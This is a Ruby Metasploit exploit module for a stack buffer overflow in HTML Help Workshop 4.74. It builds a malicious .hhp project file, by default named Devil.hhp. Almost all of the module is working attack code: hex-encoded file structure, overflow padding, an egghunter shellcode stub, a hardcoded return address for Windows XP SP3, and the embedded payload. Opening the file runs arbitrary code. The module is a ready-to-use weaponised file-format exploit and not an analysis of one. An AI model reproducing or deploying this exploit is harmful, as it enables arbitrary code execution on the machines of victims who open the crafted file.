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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow Exploit',
'Description' => %q{
This module exploits a stack overflow in HTML Help Workshop 4.74
By creating a specially crafted hhp file, an an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'loneferret, original by Encrypt3d.M!nd' ],
'Version' => '$Revision: 7724 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/10321' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'StackAdjustment' => -4800,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP English SP3', { 'Ret' => 0x00401F93 } ], # CALL EDI \x93\x1f\x40\x00
],
'Privileged' => false,
'DisclosureDate' => 'Dec 05 2009',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'Devil.hhp']),
], self.class)
end
def exploit
sploit = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53\x5D\x0D\x0A\x43\x6F\x6E\x74\x65"
sploit << "\x6E\x74\x73\x20\x66\x69\x6C\x65\x3D\x41\x0D\x0A\x49\x6E\x64\x65\x78\x20\x66\x69\x6C\x65\x3D"
sploit << "\x41" * 224
sploit << "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x69\x72\x61\x71\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
sploit << "\x42" * 24
sploit << [target.ret].pack('V')
sploit << "\x0d\x0a\x0d\x0a"
sploit << "\x5B\x46\x49\x4C\x45\x53\x5D\x0D"
sploit << "\x0d\x0a"
sploit << "\x41" * 16
sploit << "\x69\x72\x61\x71\x69\x72\x61\x71"
sploit << payload.encoded
sploit << "\x41" * 4000
hhp = sploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(hhp)
end
end
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